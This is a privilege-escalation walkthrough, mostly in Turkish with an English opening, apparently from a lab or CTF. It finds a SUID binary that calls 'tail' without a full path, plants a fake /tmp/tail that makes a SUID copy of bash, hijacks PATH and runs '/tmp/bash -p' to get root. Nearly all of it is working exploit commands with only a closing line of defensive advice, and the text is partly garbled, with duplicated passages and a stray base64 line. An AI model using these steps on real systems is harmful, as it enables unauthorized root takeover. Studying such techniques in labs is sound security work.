echo "abcx==" | base64 -d Linux'ta 2>/dev/null komutu, hata mesajlarını (stderr - standart hata çıkışı) yok saymak için kullanılır.
2>/dev/nullIn this guide, we will exploit a misconfigured SUID binary to escalate privileges and gain root access. This method leverages PATH hijacking to execute a malicious script with elevated permissions.
We start by searching for SUID binaries on the system:
find / -type f -perm -u=s 2>/dev/nullThis command looks for files with the SUID bit set, allowing them to run with their owner's privileges.
From our scan, we find an interesting binary:
/home/joe/live_logBu yazıda, bir Linux sisteminde SUID ve PATH Hijacking kullanarak nasıl yetki yükseltme yapılacağını adım adım anlatacağız.
Sistemdeki bir hatayı kullanarak, normal kullanıcıdan root yetkisine yükselmek.
SUID bitine sahip dosyaları aramak için aşağıdaki komutu çalıştırıyoruz:
find / -type f -perm -u=s 2>/dev/nullBu komut, başkalarının çalıştırabildiği ancak sahibinin yetkileriyle çalışan dosyaları listeler.
Burada ilginç bir SUID dosyası bulduk:
/home/joe/live_logBu dosyanın içeriğini analiz ettiğimizde şu komutun çalıştırıldığını görüyoruz:
tail -f /var/log/nginx/access.logHata: Burada tail komutunun tam yolu belirtilmemiş! Yani /usr/bin/tail yerine sadece tail yazılmış.
Bu, PATH değiştirerek exploit edebileceğimiz bir güvenlik açığı oluşturuyor.
Sistemi kandırıp, bizim oluşturduğumuz sahte tail dosyasını çalıştırmasını sağlayacağız.
-
/tmpdizinine giderek sahte birtaildosyası oluşturuyoruz:nano /tmp/tail
İçine şu kodu yazıyoruz:
#!/bin/bash cp /bin/bash /tmp/bash chmod +s /tmp/bashBu kod, bash dosyasını kopyalar ve ona root yetkisi verir.
-
Dosyayı çalıştırılabilir hale getiriyoruz:
chmod +x /tmp/tail
Şimdi, sistem bizim sahte tail dosyamızı çalıştırması için PATH değiştiriyoruz:
export PATH=/tmp:$PATHBöylece sistem tail komutunu çalıştırmak istediğinde, önce /tmp dizinine bakacak ve bizim sahte tail dosyamızı çalıştıracak!
Şimdi live_log dosyasını çalıştırıyoruz:
/home/joe/live_logBu komut normalde tail çalıştırmalı ama bizim sahte tail dosyamızı çalıştırıyor ve /tmp/bash adında bir dosya oluşturup ona root yetkisi veriyor!
Son olarak oluşturduğumuz özel bash dosyasını çalıştırıyoruz:
/tmp/bash -pVe artık root yetkisini aldık!
Bunu doğrulamak için:
idÇıktı şöyle olmalı:
uid=0(root) gid=0(root) groups=0(root)
Artık sistemde tam kontrolümüz var! 🎉
- Sistemde
live_logadlı bir SUID dosyası bulduk. - Bu dosya
tail -fkomutunu çalıştırıyor ama tam yolu belirtilmemiş. /tmp/tailadında bir sahte dosya oluşturduk.- PATH değiştirerek sistemin bizim sahte
taildosyamızı çalıştırmasını sağladık. - Sahte
tail, root yetkili birbasholuşturdu. - O bash'i çalıştırarak root olduk! 🚀
Sistem güvenliğini artırmak için, SUID dosyalarını düzenli kontrol etmeli ve sistemin güvenlik açıklarını kapatmalısınız!